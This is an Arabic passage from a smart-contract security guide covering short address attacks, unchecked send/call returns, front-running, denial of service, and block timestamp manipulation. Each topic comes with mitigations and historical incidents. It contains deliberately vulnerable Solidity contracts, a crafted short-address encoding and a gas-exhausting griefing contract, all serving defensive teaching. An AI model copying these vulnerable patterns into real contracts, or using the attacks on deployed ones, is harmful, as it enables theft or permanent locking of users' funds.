حسنًا، لننظر الآن إلى ما يحدث إذا أرسلنا عنوانًا ناقصًا منه 1 بايت (رقمان سداسيان عشريان). تحديدًا، لنقل أن مهاجمًا يُرسل `0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde` كعنوان (مع فقدان آخر رقمين) ونفس الـ `100` توكن لسحبها. إذا لم تتحقق البورصة من صحة هذا الإدخال، فسيتم ترميزه كالتالي `a9059cbb000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeadde00000000000000` `00000000000000000000000000000000056bc75e2d6310000000`. الفرق دقيق. لاحظ أنه تمت إضافة `00` كحشو إلى نهاية الترميز لتعويض العنوان القصير الذي تم إرساله. عندما يُرسَل هذا إلى العقد الذكي، ستُقرأ معاملات `address` على أنها `0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde00` وستُقرأ القيمة على أنها `56bc75e2d6310000000` (لاحظ الرقمين الإضافيين `0`). هذه القيمة الآن هي `25600` توكن (تم ضرب القيمة في `256`). في هذا المثال، إذا كانت البورصة تحتفظ بهذا العدد من التوكنات، فسيسحب المستخدم `25600` توكن (بينما تعتقد البورصة أن المستخدم يسحب `100` فقط) إلى العنوان المعدّل. من الواضح أن المهاجم لن يمتلك العنوان المعدّل في هذا المثال، لكن إذا قام المهاجم بتوليد أي عنوان ينتهي بأصفار `0` (والذي يمكن تخمينه بسهولة بالقوة الغاشمة) واستخدم هذا العنوان المولّد، فسيتمكن بسهولة من سرقة التوكنات من البورصة غير المنتبهة.
<h3 id="short-prev">تقنيات الوقاية</h3>
أعتقد أنه من الواضح القول إن التحقق من صحة جميع المدخلات قبل إرسالها إلى سلسلة الكتل سيمنع هذا النوع من الهجمات. وتجدر الإشارة أيضًا إلى أن ترتيب المعاملات يلعب دورًا مهمًا هنا. نظرًا لأن الحشو يحدث فقط في النهاية، فإن الترتيب الدقيق للمعاملات في العقد الذكي يمكن أن يخفف من بعض أشكال هذا الهجوم.
<h3 id="short-example">مثال من العالم الحقيقي: غير معروف</h3>
لا أعرف أي هجوم مُعلن عنه من هذا النوع في البرية.
<h2 id="unchecked-calls"><span id="SP-9">9. قيم إرجاع CALL غير المفحوصة</span></h2>
هناك عدد من الطرق لتنفيذ استدعاءات خارجية في solidity. إرسال الإيثر إلى حسابات خارجية يتم عادةً عبر طريقة `transfer()`. ومع ذلك، يمكن أيضًا استخدام دالة `send()`، وبالنسبة للاستدعاءات الخارجية الأكثر مرونة، يمكن استخدام Opcode الخاصة بـ `CALL` مباشرةً في solidity. تُرجع الدالتان `call()` و`send()` قيمة منطقية تشير إلى ما إذا كان الاستدعاء ناجحًا أو فاشلًا. وبالتالي، لهاتين الدالتين ملاحظة بسيطة، وهي أن المعاملة التي تنفذ هاتين الدالتين لن ترتد (revert) إذا فشل الاستدعاء الخارجي (الذي بدأ عبر `call()` أو `send()`)، بل إن `call()` أو `send()` سترجعان ببساطة `false`. ينشأ مأزق شائع عندما لا يتم فحص القيمة المرجعة، بل يتوقع المطوّر حدوث تراجع.
لمزيد من القراءة، انظر [DASP Top 10](http://www.dasp.co/#item-4) و [Scanning Live Ethereum Contracts for the "Unchecked-Send" Bug](http://hackingdistributed.com/2016/06/16/scanning-live-ethereum-contracts-for-bugs/).
<h3 id="unchecked-calls-vuln">الثغرة</h3>
تأمل المثال التالي:```solidity
contract Lotto {
bool public payedOut = false;
address public winner;
uint public winAmount;
// ... extra functionality here
function sendToWinner() public {
require(!payedOut);
winner.send(winAmount);
payedOut = true;
}
function withdrawLeftOver() public {
require(payedOut);
msg.sender.send(this.balance);
}
}
يمثل هذا العقد عقدًا مشابهًا للعبة Lotto، حيث يتلقى winner مبلغ winAmount من الإيثر، وهذا يترك عادةً القليل من الفائض لأي شخص لسحبه.
الخطأ موجود في السطر [11] حيث يتم استخدام send() دون التحقق من الاستجابة. في هذا المثال البسيط، فإنّ winner الذي تفشل معاملته (إما بسبب نفاد الغاز أو كونه عقدًا يرمي خطأً عمدًا في دالة fallback) يسمح بتعيين payedOut إلى true (بغض النظر عما إذا كان الإيثر قد أُرسل أم لا). في هذه الحالة، يمكن للجمهور سحب أرباح winner عبر دالة withdrawLeftOver().
متى كان ذلك ممكنًا، استخدم دالة transfer() بدلاً من send()، لأن transfer() ستقوم بعملية revert إذا تم التراجع عن المعاملة الخارجية. إذا كان send() مطلوبًا، تأكد دائمًا من التحقق من القيمة المرجعة.
أما التوصية الأكثر قوة فهي اعتماد نمط السحب. في هذا الحل، يتحمل كل مستخدم مسؤولية استدعاء دالة معزولة (أي دالة withdraw) تتولى إرسال الإيثر خارج العقد، وبالتالي تتعامل بشكل مستقل مع عواقب معاملات الإرسال الفاشلة. الفكرة هي عزل وظيفة الإرسال الخارجي منطقيًا عن باقي قاعدة الأكواد، ووضع عبء المعاملة التي يحتمل فشلها على المستخدم النهائي الذي يستدعي دالة withdraw.
Etherpot كان عبارة عن يانصيب عقد ذكي، لا يختلف كثيرًا عن العقد المذكور في المثال أعلاه. يمكن العثور على كود Solidity الخاص بـ Etherpot هنا: lotto.sol. كان السقوط الرئيسي لهذا العقد بسبب استخدام غير صحيح لهاشات الكتل (فقط آخر 256 هاش كتلة قابلة للاستخدام، انظر منشور لأكيل فرناندس حول كيفية فشل Etherpot في تنفيذ ذلك بشكل صحيح). ومع ذلك، عانى هذا العقد أيضًا من عدم التحقق من قيمة الاستدعاء. لاحظ الدالة cash() في السطر [80] من lotto.sol:```solidity
...
function cash(uint roundIndex, uint subpotIndex){
var subpotsCount = getSubpotsCount(roundIndex);
if(subpotIndex>=subpotsCount)
return;
var decisionBlockNumber = getDecisionBlockNumber(roundIndex,subpotIndex);
if(decisionBlockNumber>block.number)
return;
if(rounds[roundIndex].isCashed[subpotIndex])
return;
//Subpots can only be cashed once. This is to prevent double payouts
var winner = calculateWinner(roundIndex,subpotIndex);
var subpot = getSubpot(roundIndex);
winner.send(subpot);
rounds[roundIndex].isCashed[subpotIndex] = true;
//Mark the round as cashed
} ...
لاحظ أنه في السطر \[21\] لا يتم التحقق من قيمة إرجاع دالة send، ويقوم السطر التالي بتعيين قيمة منطقية (boolean) تشير إلى أن الفائز قد أُرسلت إليه أمواله. يمكن أن يسمح هذا الخطأ بحدوث حالة لا يتلقى فيها الفائز إيثرَه، بينما تشير حالة العقد إلى أن الفائز قد دُفع له بالفعل.
ظهرت نسخة أكثر خطورة من هذا الخطأ في [King of the Ether](https://www.kingoftheether.com/thrones/kingoftheether/index.html). وقد تمت كتابة [تحليل ممتاز لما بعد الحادثة](https://www.kingoftheether.com/postmortem.html) لهذا العقد يوضح كيف يمكن استخدام فشل `send()` غير المُتحقَّق منه لمهاجمة العقد.
<h2 id="race-conditions"><span id="SP-10">10. حالات السباق / الجري الأمامي</span></h2>
إن الجمع بين الاستدعاءات الخارجية لعقود أخرى والطبيعة متعددة المستخدمين لسلسلة الكتل الأساسية يؤدي إلى ظهور مجموعة متنوعة من المخاطر المحتملة في Solidity، حيث *يتسابق* المستخدمون على تنفيذ التعليمات البرمجية للوصول إلى حالات غير متوقعة. [Re-Entrancy](#reentrancy) هو أحد أمثلة حالة السباق هذه. في هذا القسم سنتحدث بشكل أكثر عمومية عن الأنواع المختلفة لحالات السباق التي يمكن أن تحدث على سلسلة كتل الإيثيريوم. هناك مجموعة من المقالات الجيدة حول هذا الموضوع، منها: [Ethereum Wiki - Safety](https://github.com/ethereum/wiki/wiki/Safety#race-conditions)، و[DASP - Front-Running](http://www.dasp.co/#item-7)، و[Consensus - Smart Contract Best Practices](https://consensys.github.io/smart-contract-best-practices/known_attacks/#race-conditions).
<h3 id="race-conditions-vuln">الثغرة</h3>
كما هو الحال مع معظم سلاسل الكتل، تقوم عُقد الإيثيريوم بتجميع المعاملات وتشكيلها في كتل. لا تُعتبر المعاملات صالحة إلا بعد أن يحل المُعدِّن آلية إجماع (حاليًا [ETHASH](https://github.com/ethereum/wiki/wiki/Ethash) PoW للإيثيريوم). المُعدِّن الذي يحل الكتلة يختار أيضًا المعاملات التي سيتم تضمينها في الكتلة من التجمع، وعادةً ما يتم ترتيبها حسب `gasPrice` للمعاملة. هنا يكمن ناقل هجوم محتمل. يمكن للمهاجم مراقبة تجمع المعاملات بحثًا عن معاملات قد تحتوي على حلول للمشكلات، أو تعديل أذونات المهاجم أو إلغائها، أو تغيير حالة في عقد تكون غير مرغوبة للمهاجم. يمكن للمهاجم بعد ذلك الحصول على البيانات من هذه المعاملة وإنشاء معاملة خاصة به بسعر `gasPrice` أعلى وإدراج معاملته في كتلة قبل المعاملة الأصلية.
لنرَ كيف يمكن أن يعمل هذا بمثال بسيط. تأمل العقد `FindThisHash.sol`:```solidity
contract FindThisHash {
bytes32 constant public hash = 0xb5b5b97fafd9855eec9b41f74dfb6c38f5951141f9a3ecd7f44d5479b630ee0a;
constructor() public payable {} // load with ether
function solve(string solution) public {
// If you can find the pre image of the hash, receive 1000 ether
require(hash == sha3(solution));
msg.sender.transfer(1000 ether);
}
}
تخيّل أن هذا العقد يحتوي على 1000 إيثر. المستخدم الذي يستطيع إيجاد الصورة الأولية لتجزئة sha3 0xb5b5b97fafd9855eec9b41f74dfb6c38f5951141f9a3ecd7f44d5479b630ee0a يمكنه تقديم الحل واسترجاع الـ1000 إيثر. لنفترض أن أحد المستخدمين اكتشف أن الحل هو Ethereum!. يقوم باستدعاء solve() مع تمرير Ethereum! كوسيط. لسوء الحظ، كان هناك مهاجم ذكي بما يكفي لمراقبة مجمع المعاملات لرصد أي شخص يقدم حلاً. يرون هذا الحل، ويتحققون من صحته، ثم يقدمون معاملة مكافئة بسعر gasPrice أعلى بكثير من المعاملة الأصلية. من المرجح أن مُعدّن الكتلة سيمنح المهاجم الأولوية بسبب ارتفاع gasPrice ويقبل معاملته قبل معاملة الحلّ الأصلي. سيستولي المهاجم على الـ1000 إيثر، ولن يحصل المستخدم الذي حلّ المشكلة على شيء (لن يتبقى أي إيثر في العقد).
مشكلة أكثر واقعية تأتي في تصميم تطبيق Casper المستقبلي. عقود Casper لإثبات الحصة (proof of stake) تستدعي شروط عقاب (slashing conditions) حيث يُحفَّز المستخدمون الذين يلاحظون أن المدقّقين (validators) يصوّتون مرتين أو يسيئون التصرف لتقديم دليل على حدوث ذلك. سيُعاقب المدقّق ويُكافأ المستخدم. في مثل هذا السيناريو، يُتوقع أن يقوم المُعدِّنون والمستخدمون بالهجوم الأمامي (front-run) على جميع عمليات تقديم الأدلة هذه، ويجب معالجة هذه المشكلة قبل الإصدار النهائي.
هناك فئتان من المستخدمين يمكنهما تنفيذ هذا النوع من هجمات الهجوم الأمامي. المستخدمون (الذين يعدّلون gasPrice لمعاملاتهم) والمُعدِّنون أنفسهم (الذين يمكنهم إعادة ترتيب المعاملات في الكتلة كما يرونه مناسباً). العقد الذي يكون عرضة للفئة الأولى (المستخدمون) يكون أسوأ حالاً بشكل ملحوظ من العقد المعرّض للفئة الثانية (المُعدِّنون)، لأن المُعدِّن لا يمكنه تنفيذ الهجوم إلا عندما يحلّ كتلة، وهو أمر غير مرجّح لأي مُعدِّن فردي يستهدف كتلة معينة. سأدرج هنا بعض إجراءات التخفيف المتعلقة بفئة المهاجمين التي قد تمنعها.
إحدى الطرق التي يمكن استخدامها هي إنشاء منطق في العقد يضع حداً أقصى لـgasPrice. يمنع هذا المستخدمين من زيادة gasPrice والحصول على ترتيب معاملات تفضيلي يتجاوز الحد الأعلى. هذا الإجراء الوقائي يخفف فقط من الفئة الأولى من المهاجمين (المستخدمين العشوائيين). المُعدِّنون في هذا السيناريو ما زالوا قادرين على مهاجمة العقد لأنهم يستطيعون ترتيب المعاملات في كتلهم كما يحلو لهم، بغض النظر عن سعر الغاز.
أما الطريقة الأكثر متانة فهي استخدام مخطط commit-reveal كلما أمكن ذلك. مثل هذا المخطط يفرض على المستخدمين إرسال معاملات تحتوي على معلومات مخفية (عادةً ما تكون تجزئة). بعد تضمين المعاملة في كتلة، يرسل المستخدم معاملة تكشف البيانات التي أُرسلت (مرحلة الكشف). تمنع هذه الطريقة كلاً من المُعدِّنين والمستخدمين من الهجوم الأمامي على المعاملات لأنهم لا يستطيعون تحديد محتويات المعاملة. ومع ذلك، لا يمكن لهذه الطريقة إخفاء قيمة المعاملة (وهي في بعض الحالات المعلومات القيّمة التي يجب إخفاؤها). سمح العقد الذكي ENS للمستخدمين بإرسال معاملات، تضمّنت البيانات التي التزموا بها مقدار الإيثر الذي كانوا على استعداد لإنفاقه. يمكن للمستخدمين بعد ذلك إرسال معاملات بقيمة عشوائية. خلال مرحلة الكشف، تم رد الفرق بين المبلغ المُرسل في المعاملة والمبلغ الذي كانوا مستعدين لإنفاقه إلى المستخدمين.
اقتراح إضافي من Lorenz وPhil وAri وFlorian هو استخدام Submarine Sends. يتطلب التنفيذ الفعّال لهذه الفكرة استخدام كود التشغيل CREATE2، والذي لم يُعتمد حتى الآن، لكن من المرجح أن يظهر في الشوكات الصلبة القادمة.
معيار ERC20 معروف جداً لبناء الرموز (tokens) على إيثريوم. يحتوي هذا المعيار على ثغرة هجوم أمامي محتملة تنشأ بسبب دالة approve(). يمكن العثور على شرح جيد لهذه الثغرة هنا.
يحدد المعيار دالة approve() على النحو التالي:```solidity
function approve(address _spender, uint256 _value) returns (bool success)
هذه الوظيفة تتيح للمستخدم السماح لمستخدمين آخرين بنقل الرموز المميزة نيابةً عنه. تأتي ثغرة التقدم على الصفقات (frontrunning) في السيناريو عندما يقوم مستخدم، أليس، *بالموافقة* لصديقها `Bob` على إنفاق `100 tokens`. تقرر أليس لاحقاً أنها تريد إلغاء موافقة `Bob` على إنفاق `100 tokens`، لذا تنشئ معاملةً تعيّن حصة `Bob` إلى `50 tokens`. `Bob`، الذي كان يراقب السلسلة بعناية، يرى هذه المعاملة ويبني معاملة خاصة به لإنفاق الـ `100 tokens`. يضع `gasPrice` أعلى على معاملته من معاملة `Alice`’s، فتحظى معاملته بالأولوية على معاملتها. بعض تطبيقات `approve()` قد تسمح لـ `Bob` بنقل الـ `100 tokens` خاصته، ثم عندما تُثبَّت معاملة `Alice`’s، تُعيد تعيين موافقة `Bob` إلى `50 tokens`، مما يعطي `Bob` فعلياً إمكانية الوصول إلى `150 tokens`. استراتيجيات التخفيف من هذا الهجوم مذكورة [هنا](https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/edit) في المستند المرتبط أعلاه.
مثال آخر بارز من العالم الحقيقي هو [Bancor](https://www.bancor.network/). قام إيفان بوجاتي وفريقه بتوثيق هجوم مربح على تطبيق Bancor الأولي. تناقش [مقالته على مدونته](https://hackernoon.com/front-running-bancor-in-150-lines-of-python-with-ethereum-api-d5e2bfd0d798) و[محاضرته في Devon 3](https://www.youtube.com/watch?v=RL2nE3huNiI) بالتفصيل كيف تم ذلك. بشكل أساسي، يتم تحديد أسعار الرموز المميزة بناءً على قيمة المعاملة، ويمكن للمستخدمين مراقبة تجمع المعاملات لمعاملات Bancor والتقدم عليها (front run) للربح من فروق الأسعار. تمت معالجة هذا الهجوم من قبل فريق Bancor.
<h2 id="dos"><span id="SP-11">11. رفض الخدمة (Denial Of Service - DOS)</span></h2>
هذه الفئة واسعة جداً، لكنها تتكون أساساً من هجمات يمكن للمهاجمين من خلالها جعل العقد غير قابل للتشغيل لفترة قصيرة من الزمن، أو في بعض الحالات، بشكل دائم. يمكن أن يحبس هذا الإيثر في هذه العقود إلى الأبد، كما كان الحال مع [الاختراق الثاني لمحفظة Parity متعددة التوقيع](#dc-example)
<h3 id="dos-vuln">الثغرة</h3>
هناك طرق مختلفة يمكن أن يصبح بها العقد غير قابل للتشغيل. سأسلط الضوء هنا فقط على بعض أنماط البرمجة في Solidity الدقيقة الخاصة بسلسلة الكتل والأقل وضوحاً والتي قد تؤدي بالمهاجمين إلى تنفيذ هجمات رفض الخدمة.
**1. استدعاءات خارجية بدون بدل غاز (gas stipends)** - قد تكون هناك حالة ترغب فيها
في إجراء استدعاء خارجي إلى عقد غير معروف ومواصلة معالجة المعاملة
بغض النظر عما إذا فشل هذا الاستدعاء أم لا. عادةً ما يتم
تحقيق ذلك باستخدام كود التشغيل `CALL`، الذي لا يتراجع عن المعاملة
إذا فشل الاستدعاء (انظر [قيم إرجاع CALL غير المفحوصة](#unchecked-calls) لمزيد من التفاصيل والأمثلة).
لنأخذ مثالاً بسيطاً، حيث لدينا عقد محفظة يقوم بتوزيع
الإيثر ببطء عند استدعاء دالة `withdraw()`. يمكن لـ `partner` أن
يضيف عنوانه وينفق الغاز لاستدعاء السحب، مما يمنح كلاً من
`partner` و`owner` 1% من إجمالي رصيد العقد.```solidity
contract TrickleWallet {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = 0xA9E;
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
require(partner == '0x0' || msg.sender == partner);
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance/100;
// perform a call without checking return
// the recipient can revert, the owner will still get their share
partner.call.value(amountToSend)();
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] += amountToSend;
}
// allow deposit of funds
function() payable {}
// convenience function
function contractBalance() view returns (uint) {
return address(this).balance;
}
}
لاحظ أنه في السطر [17] نقوم باستدعاء خارجي لإرسال 1% من
رصيد العقد إلى حساب يحدده المستخدم. سبب استخدام opcode CALL هو ضمان أن
المالك لا يزال يتلقى الدفع، حتى لو تراجع الاستدعاء الخارجي. المشكلة هي أن
المعاملة سترسل كل غازها (في الواقع، يتم إرسال معظم غاز المعاملة فقط، مع ترك بعض منه لإنهاء معالجة الاستدعاء) إلى الاستدعاء الخارجي. إذا كان المستخدم خبيثًا، يمكنه إنشاء عقد يستهلك كل الغاز، ويجبر جميع المعاملات على فشل withdraw()، بسبب نفاد الغاز.
على سبيل المثال، خذ بعين الاعتبار العقد الخبيث التالي الذي يستهلك كل الغاز،```solidity contract ConsumeAllGas { function () payable { // an assert consumes all transaction gas, unlike a //revert which returns the remaining gas assert(1==2); } }
إذا قرر شريك السحب أنه لا يحب مالك العقد.
يمكنه تعيين عنوان الشريك إلى هذا العقد وحبس جميع الأموال في
عقد `TrickleWallet` إلى الأبد.
لمنع نواقل هجمات حجب الخدمة (DOS) هذه، تأكد من تحديد بدل غاز (gas stipend) في
استدعاء خارجي، للحد من كمية الغاز التي يمكن أن تستخدمها تلك المعاملة. في
مثالنا، يمكننا معالجة هذا الهجوم بتغيير السطر \[17\] إلى:```solidity
partner.call.gas(50000).value(amountToSend)();
هذا التعديل يسمح بإنفاق 50,000 فقط من الغاز على المعاملة
الخارجية. قد يحدد owner سعر غاز أكبر من هذا، من أجل
إتمام معاملته، بغض النظر عن مقدار ما تستخدمه المعاملة
الخارجية.
2. التكرار عبر mappings أو مصفوفات يتم التلاعب بها خارجيًا - في تجاربي رأيت أشكالًا مختلفة من هذا النمط. يظهر عادةً في سيناريوهات يرغب فيها owner في توزيع الرموز بين مستثمريه، وذلك باستخدام دالة شبيهة بـ distribute() كما يظهر في العقد المثال:```solidity
contract DistributeTokens {
address public owner; // gets set somewhere
address[] investors; // array of investors
uint[] investorTokens; // the amount of tokens each investor gets
// ... extra functionality, including transfertoken()
function invest() public payable {
investors.push(msg.sender);
investorTokens.push(msg.value * 5); // 5 times the wei sent
}
function distribute() public {
require(msg.sender == owner); // only owner
for(uint i = 0; i < investors.length; i++) {
// here transferToken(to,amount) transfers "amount" of tokens to the address "to"
transferToken(investors[i],investorTokens[i]);
}
}
}
لاحظ أن الحلقة في هذا العقد تعمل على مصفوفة يمكن تضخيمها بشكل مصطنع. يمكن للمهاجم إنشاء العديد من حسابات المستخدمين مما يجعل مصفوفة `investor` كبيرة. من حيث المبدأ، يمكن القيام بذلك بحيث يتجاوز الغاز المطلوب لتنفيذ حلقة for حد الغاز للكتلة، مما يجعل الدالة `distribute()` غير قابلة للتشغيل بشكل أساسي.
**3. عمليات المالك** - نمط شائع آخر هو حيث يكون لدى المالكين صلاحيات محددة في العقود ويجب عليهم أداء مهمة معينة من أجل أن ينتقل العقد إلى الحالة التالية. أحد الأمثلة هو عقد ICO يتطلب من المالك `finalize()` العقد مما يسمح بعد ذلك بأن تكون الرموز قابلة للتحويل، أي.``` solidity
bool public isFinalized = false;
address public owner; // gets set somewhere
function finalize() public {
require(msg.sender == owner);
isFinalized == true;
}
// ... extra ICO functionality
// overloaded transfer function
function transfer(address _to, uint _value) returns (bool) {
require(isFinalized);
super.transfer(_to,_value)
}
...
في مثل هذه الحالات، إذا فقد مستخدم متميّز مفاتيحه الخاصة، أو أصبح غير نشط، يصبح عقد التوكن بأكمله غير قابل للتشغيل. في هذه الحالة، إذا لم يتمكن owner من استدعاء finalize()، فلا يمكن تحويل أي توكنات؛ أي أن العملية الكاملة لنظام التوكنات تعتمد على عنوان واحد.
4. تقدم الحالة بناءً على الاستدعاءات الخارجية - في بعض الأحيان تُكتب العقود بحيث يتطلب التقدم إلى حالة جديدة إرسال إيثر إلى عنوان، أو انتظار بعض المدخلات من مصدر خارجي. يمكن أن تؤدي هذه الأنماط إلى هجمات حجب الخدمة (DoS) عندما يفشل الاستدعاء الخارجي أو يُمنع لأسباب خارجية. في مثال إرسال الإيثر، يمكن للمستخدم إنشاء عقد لا يقبل الإيثر. إذا تطلب عقد سحب الإيثر (فكر في عقد قفل زمني يتطلب سحب كل الإيثر قبل أن يصبح قابلاً للاستخدام مرة أخرى) من أجل التقدم إلى حالة جديدة، فلن يصل العقد أبدًا إلى الحالة الجديدة لأنه لا يمكن أبدًا إرسال الإيثر إلى عقد المستخدم الذي لا يقبل الإيثر.
في المثال الأول، لا ينبغي للعقود أن تتكرر عبر هياكل بيانات يمكن للمستخدمين الخارجيين التلاعب بها بشكل مصطنع. يُوصى بنمط السحب، حيث يستدعي كل مستثمر دالة سحب للمطالبة بالتوكنات بشكل مستقل.
في المثال الثاني، كان مطلوبًا من مستخدم متميّز تغيير حالة العقد. في مثل هذه الأمثلة (حيثما أمكن)، يمكن استخدام آلية أمان احتياطية في حال أصبح owner عاجزًا. أحد الحلول قد يكون إعداد owner كعقد متعدد التوقيع (multisig). حل آخر هو استخدام قفل زمني، حيث يمكن أن يتضمن الشرط require في السطر [13] آلية زمنية، مثل require(msg.sender == owner || now > unlockTime)، والتي تسمح لأي مستخدم بالإنهاء بعد فترة زمنية محددة بواسطة unlockTime. يمكن استخدام هذا النوع من تقنيات التخفيف في المثال الثالث أيضًا. إذا كانت الاستدعاءات الخارجية مطلوبة للتقدم إلى حالة جديدة، فيجب أخذ احتمالية فشلها في الاعتبار، وربما إضافة تقدم زمني للحالة في حال لم يحدث الاستدعاء المطلوب أبدًا.
ملاحظة: بطبيعة الحال هناك بدائل مركزية لهذه الاقتراحات حيث يمكن إضافة maintenanceUser يمكنه القدوم وإصلاح المشكلات المتعلقة بنواقل الهجمات القائمة على حجب الخدمة (DoS) عند الحاجة. عادةً ما تحتوي هذه الأنواع من العقود على مشكلات ثقة بشأن سلطة مثل هذا الكيان، لكن هذا ليس موضوع نقاش لهذا القسم.
GovernMental كان مخطط بونزي قديمًا جمع كمية كبيرة جدًا من الإيثر. في الواقع، جمع في وقت ما 1100 إيثر. لسوء الحظ، كان عرضة لثغرات حجب الخدمة (DoS) المذكورة في هذا القسم. يصف هذا المنشور على Reddit كيف تطلب العقد حذف mapping كبير من أجل سحب الإيثر. كان لتكلفة حذف هذا التعيين تكلفة غاز تجاوزت حد الغاز للكتلة في ذلك الوقت، وبالتالي لم يكن من الممكن سحب 1100 إيثر. عنوان العقد هو 0xF45717552f12Ef7cb65e95476F217Ea008167Ae3 ويمكنك أن ترى من المعاملة 0x0d80d67202bd9cb6773df8dd2020e7190a1b0793e8ec4fc105257e8128f0506b أنه تم الحصول أخيرًا على 1100 إيثر من خلال معاملة استخدمت 2.5M غاز (بعد أن سمح حد الغاز للكتلة بمثل هذه المعاملة).
لقد تم تاريخيًا استخدام الطوابع الزمنية للكتل في مجموعة متنوعة من التطبيقات، مثل الإنتروبيا للأرقام العشوائية (انظر قسم وهم الإنتروبيا لمزيد من التفاصيل)، وقفل الأموال لفترات زمنية، والعديد من العبارات الشرطية التي تغيّر الحالة وتعتمد على الوقت. لدى المعدّنين القدرة على تعديل الطوابع الزمنية قليلاً، وهو ما قد يكون خطيرًا جدًا إذا تم استخدام الطوابع الزمنية للكتل بشكل غير صحيح في العقود الذكية.
بعض المراجع المفيدة لهذا هي: وثائق Solidity، وهذا سؤال Stack Exchange.
يمكن للمعدّنين التلاعب بـ block.timestamp أو اسمه البديل now إذا كان لديهم حافز للقيام بذلك. لنقم ببناء لعبة بسيطة قد تكون عرضة لاستغلال المعدّنين،
roulette.sol:```solidity
contract Roulette {
uint public pastBlockTime; // Forces one bet per block
constructor() public payable {} // initially fund contract
// fallback function used to make a bet
function () public payable {
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime); // only 1 transaction per block
pastBlockTime = now;
if(now % 15 == 0) { // winner
msg.sender.transfer(this.balance);
}
}
}
يتصرف هذا العقد وكأنه يانصيب بسيط. يمكن لمعاملة واحدة لكل كتلة أن تراهن بـ `10 ether` للحصول على فرصة للفوز برصيد العقد. الافتراض هنا هو أن `block.timestamp` موزّع بشكل منتظم حول آخر رقمين. إذا كان الأمر كذلك، فستكون هناك فرصة 1/15 للفوز بهذا اليانصيب.
ومع ذلك، كما نعلم، يمكن للمعدّنين تعديل الطابع الزمني إذا احتاجوا إلى ذلك. في هذه الحالة بالذات، إذا تجمّع ما يكفي من الإيثير في العقد، فإن المعدّن الذي يحلّ كتلةً يكون لديه حافز لاختيار طابع زمني بحيث يكون `block.timestamp` أو `now` معامل 15 مساوياً `0`. وبهذا قد يفوز بالإيثير المحبوس في هذا العقد بالإضافة إلى مكافأة الكتلة. وبما أنه يُسمح لشخص واحد فقط بالمراهنة في كل كتلة، فإن هذا معرّض أيضاً لهجمات [الانقضاض الأمامي](#race-conditions).
عملياً، تكون الطوابع الزمنية للكتل متزايدة بشكل رتيب، ولذلك لا يمكن للمعدّنين اختيار طوابع زمنية عشوائية للكتل (يجب أن تكون أكبر من طوابع الكتل السابقة لها). كما أنهم مقيدون بتعيين أوقات كتل ليست بعيدة جداً في المستقبل، لأن هذه الكتل سيرفضها الشبكة على الأرجح (عُقد الشبكة لن تتحقق من صحة الكتل التي تكون طوابعها الزمنية في المستقبل).
<h3 id="block-timestamp-prev">التقنيات الوقائية</h3>
لا ينبغي استخدام الطوابع الزمنية للكتل كمصدر للعشوائية أو لتوليد أرقام عشوائية - أي أنها لا ينبغي أن تكون العامل الحاسم (إما مباشرة أو من خلال اشتقاق ما) للفوز بلعبة أو تغيير حالة مهمة (إذا افترض أنها عشوائية).
بعض المنطق الحساس للوقت يكون مطلوباً أحياناً؛ أي فتح العقود المقفلة (قفل زمني)، أو إكمال طرح أولي للعملات (ICO) بعد بضعة أسابيع، أو فرض تواريخ انتهاء الصلاحية. يُنصح أحياناً باستخدام `block.number` (انظر [وثائق Solidity](http://solidity.readthedocs.io/en/latest/units-and-global-variables.html#block-and-transaction-properties)) ومتوسط زمن الكتلة لتقدير الأوقات؛ أي أن `1 week` مع زمن كتلة `10 second` يعادل تقريباً `60480 blocks`. وبالتالي، تحديد رقم كتلة لتغيير حالة العقد قد يكون أكثر أماناً لأن المعدّنين غير قادرين على التلاعب برقم الكتلة بسهولة. اعتمد عقد [BAT ICO](https://etherscan.io/address/0x0d8775f648430679a709e98d2b0cb6250d2887ef#code) هذه الاستراتيجية.
قد يكون هذا غير ضروري إذا لم تكن العقود معنية بشكل خاص بتلاعب المعدّنين بالطابع الزمني للكتلة، لكنه شيء يجب أن يكون المطوّرون على دراية به عند تطوير العقود.
<h3 id="block-timestamp-example">مثال من العالم الحقيقي: GovernMental </h3>
[GovernMental](http://governmental.github.io/GovernMental/) كان مخطط بونزي قديماً جمع كمية كبيرة جداً من الإيثير. كما كان عرضة لهجوم قائم على الطابع الزمني. كان العقد يدفع للاعب الذي كان آخر لاعب ينضم (لمدة دقيقة واحدة على الأقل) في جولة. وبالتالي، كان بإمكان المعدّن الذي كان لاعباً أن يعدّل الطابع الزمني (إلى وقت مستقبلي، ليجعل الأمر يبدو وكأن دقيقة قد مضت) ليجعل الأمر يبدو أن اللاعب كان آخر المنضمين لأكثر من دقيقة (حتى لو لم يكن هذا صحيحاً في الواقع). يمكن العثور على مزيد من التفاصيل حول هذا في [مقالة تاريخ ثغرات أمن إيثيريوم](https://applicature.com/blog/history-of-ethereum-security-vulnerabilities-hacks-and-their-fixes) بقلم تانيا باهرينوفسكا.
<h2 id="constructors"><span id="SP-13">13. التعامل مع المُنشئات بحذر</span></h2>
المُنشئات هي دوال خاصة غالباً ما تؤدي مهاماً حرجة وامتيازية عند تهيئة العقود. قبل solidity `v0.4.22`، كانت المُنشئات تُعرّف كدوال لها نفس اسم العقد الذي يحتويها. وبالتالي، عندما يتغير اسم العقد أثناء التطوير، إذا لم يتغير اسم المُنشئ، فإنه يصبح دالة عادية قابلة للاستدعاء. وكما يمكنك أن تتخيل، فإن هذا يمكن أن يؤدي (وقد أدى بالفعل) إلى بعض الاختراقات المثيرة للاهتمام للعقود.
لمزيد من القراءة، أقترح على القارئ تجربة [تحديات Ethernaught](https://github.com/OpenZeppelin/ethernaut) (خاصة مستوى Fallout).
<h3 id="constructors-vuln">الثغرة</h3>
